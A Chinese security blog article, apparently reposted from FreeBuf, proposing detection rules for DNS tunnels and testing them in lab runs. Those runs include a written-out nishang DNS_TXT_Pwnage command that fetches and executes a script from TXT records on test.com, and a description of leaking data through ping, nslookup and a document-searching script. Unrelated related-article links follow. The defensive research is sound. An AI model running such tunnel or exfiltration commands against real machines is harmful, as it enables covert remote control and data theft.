一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案
摘自:http://www.freebuf.com/articles/network/149328.html
通过以上分析得出监控需要关注的几个要素:长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录,推导检测逻辑如下:
方向1:特征检测:
检测窃密木马(无需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】
检测远控木马(需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】
通用检测(可发现单次外传,存在浏览器预解析等误报,需结合其他特征确认):
{【存在txt回包】and 【不存在全域名注册记录】} or {【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】}
方向2:基于外传量检测,发现正在进行的大量数据泄露(不分析细节,仅供参考,本次实验不涉及):
单台机器检测: 域名长度(3+N级的域名) * 域名数量(相同只计算一个) > 单台机器阈值,评测外传数据大小,达到阈值则触发报警
群体事件检测: A机器域名长度(3+N级的域名)* A机器域名数量(相同只计算一个) + B +… > 多台机器阈值,评测外传数据大小,达到阈值则触发报警
实验验证分析:
为验证此方案的逻辑正确性,笔者实验如下:
Xshell实验验证:
1、直接运行xshell,触发dns行为
2、外传结果抓包:
3、检测逻辑匹配分析:
a) 外传域名超长
b) 频率较高
c) 类型为TXT,有回包
d) 无A记录解析结果,也就无程序对结果发起访问
e) 不存在全域名注册记录(黑客根据算法提前注册了部分域名,但全域名无注册信息)
结论:窃密木马+远控木马
Powershell dns实验验证:
1、利用powershell构造dns隧道
a) 编写一个最简单的一句话脚本,获取服务列表
b) 使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录
c) 在dns服务器建立对应txt记录(后续执行需按照1,2,3,4的顺序,所以建立记录名为1)
验证结果,ok
d) 使用nishang的DNS_TXT_Pwnage读取txt并执行(脚本自动在test.com前加1,向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理,懂的朋友麻烦私信下,谢谢! ),可正常获取服务列表。
命令和结果如下:
DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag
2、外传结果抓包:
使用Microsoft Network Monitor抓包分析
3、检测逻辑匹配分析:
a) 因实验未将结果外传,所以域名长度不大,如dns隧道外传则必使用长域名
b) 因实验未将结果外传,所以频率不高,且只获取远端的get-server功能,频率也不高,但要实现外传和获取更多功能(如mimikatz等),则必然需要高频率
c) 类型为TXT,有回包
d) 无A记录解析结果,也就无程序对结果发起访问
e) 此实验场景未覆盖外传数据,所以不涉及注册问题
结论:远控木马(实验功能较单一,扩展为大马则可精确覆盖检测特征)
利用ceye.io的外传实验验证
1、 少量信息窃取和大量信息窃取
a) 单次少量信息窃取外传,简单利用windows命令(ping、nslookup等)即可窃取机器名
b) 多次大量信息窃取,编写脚本,搜索文档(word、excel、ppt),并外传文件名(此脚本360 未报警),vbs脚本内容如下 (代码未充分验证,不保证无错误,中文支持或读文件内容请自行修改):
2、外传结果展示:
a) 单次少量信息窃取外传
b) 多次大量信息窃取
3、检测逻辑匹配分析:
a) 利用A记录外传,非txt回包,长度不超长(实验原因,未充分利用域名长度),但频率较高,解析过程未发现异常(但此截图为8.8.8.8,非系统dns存在一定风险)
b) 对解析A记录结果无后续访问
c) 不存在全域名注册记录
结论:窃取数据木马
一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案的更多相关文章
- 【Zabbix】大规模监控误报发生时的处理方案
今天遇到了这样一件事..Zabbix一直在用的数据库突然间崩溃,无法连接了.在down掉的那一时刻开始,zabbix向管理员报了警.然后随之而来的是铺天盖地的所有主机zabbix agent无法连接的 ...
- 如何为 SAST 工具设置误报基准?
许多 SAST 工具都无法避免误报的问题.这些工具经常报告一些实际不存在的漏洞,这种不准确性让安全团队耗费大量时间来对误报进行分类和处理,这时设置误报基准就显得十分必要. 通过设置误报基准,安全团队可 ...
- zabbix误报交换机重启
交换机的sysUpTime是由一个32-bit的counter来计数的,单位是0.01秒,所以最大时间为496天,过了496天就溢出,变成0,然后又重新计算时间,所以zabbix误报. snmpwal ...
- Nmap误报1720端口开放的原因
在使用Nmap扫描服务器开放端口(全连接扫描)时,一直会发现误报1720端口开放,telnet也有时会连接成功.而实际上服务器并未开启此端口.经过查阅资料,确定原因如下: H.323协议在负载中放入了 ...
- Myeclipse中误报错误解决办法
下午写jsp页面的时候,用了一个js文件,拖到MyEclipse下了报错,开始还以为是js文件问题,折腾了半天,后来才知道原来是Myeclipse误报错误.真坑爹啊呀~~ 解决方法: 点击你需要忽略错 ...
- python里混淆矩阵 左下角为漏报,右上角为误报
1为黑样本,0为白样本: Counter({1: 105, 0: 95}) check counter!confusion_matrix:[[83 12(预测值为1,实际为0,误报)] [15(预测值 ...
- Prometheus 监控 Kubernetes Job 资源误报的坑
转载自:https://www.qikqiak.com/post/prometheus-monitor-k8s-job-trap/ 昨天在 Prometheus 课程辅导群里面有同学提到一个问题,是关 ...
- 冰蝎动态二进制加密WebShell基于流量侧检测方案
概述 冰蝎是一款新型动态二进制加密网站工具.目前已经有6个版本.对于webshell的网络流量侧检测,主要有三个思路.一:webshell上传过程中文件还原进行样本分析,检测静态文件是否报毒.二:we ...
- centos DNS服务搭建 DNS原理 使用bind搭建DNS服务器 配置DNS转发 配置主从 安装dig工具 DHCP dhclient 各种域名解析记录 mydns DNS动态更新 第三十节课
centos DNS服务搭建 DNS原理 使用bind搭建DNS服务器 配置DNS转发 配置主从 安装dig工具 DHCP dhclient 各种域名解析记录 mydns DNS动态更 ...
随机推荐
- java文件对照工具
今天想比較一下两个java文件.这两个文件是本地的. 就在网上下载了一个对照工具(破解版)认为挺好用的对于不同的地方有高亮显示. 就给大家分享一下.软件名叫:beyond compare 软件下载地址 ...
- Keil5.15版本号
Keil5.15下载地址 http://pan.baidu.com/s/1kT6AGvX Keil5.15软件补丁下载地址 http://www.keil.com/dd2/pack/ Keil5.15 ...
- IIS身份验证的配置
前4者配置:localhost applicationHost.config <location path=""> 后2者配置:web.config 要点: 这6项尽管 ...
- oracle刚開始学习的人经常使用操作100问
oracle刚開始学习的人经常使用操作100问 1. Oracle安装完毕后的初始口令? internal/oracle sys/change_on_install system/manager ...
- Java类载入器
1. 系统载入器简单介绍 Java虚拟机中能够安装多个类载入器,系统默认三个主要类载入器(BootStrap.ExtClassLoader.AppClassLoader).每一个类载入器负责载入特 ...
- iOS 手势识别器概述
手势识别器 iOS 手势识别器(UIGestureRecognizer) 点击手势(UITapGestureRecognizer) 滑动手势(UISwipeGestureRecognizer) 旋转手 ...
- 【翻译自mos文章】怎么正确的计算一个ip地址的subnet id?
怎么正确的计算一个ip地址的subnet id? 来源于: How to calculate the correct subnet for an interface (文档 ID 1059759.1) ...
- [NIO]dawn之Task具体解释
在上篇文章中,我们设置好了开发环境,接下来.我们将在了解了Task以及Buffer之后,再開始了解网络编程.我们首先来看看Task task简单介绍 package zhmt.dawn; import ...
- ThinkPHP5.0框架开发--第2章 TP5.0架构
ThinkPHP5.0框架开发--第2章 TP5.0架构 第2章 TP5.0架构 ================================================== 上次复习 1.如 ...
- Ajax :六个全局事件
加载请求: .ajaxStart() 和 .ajaxstop() $(document).ajaxStart(function(){ $('.loading').show(); }).ajaxStop ...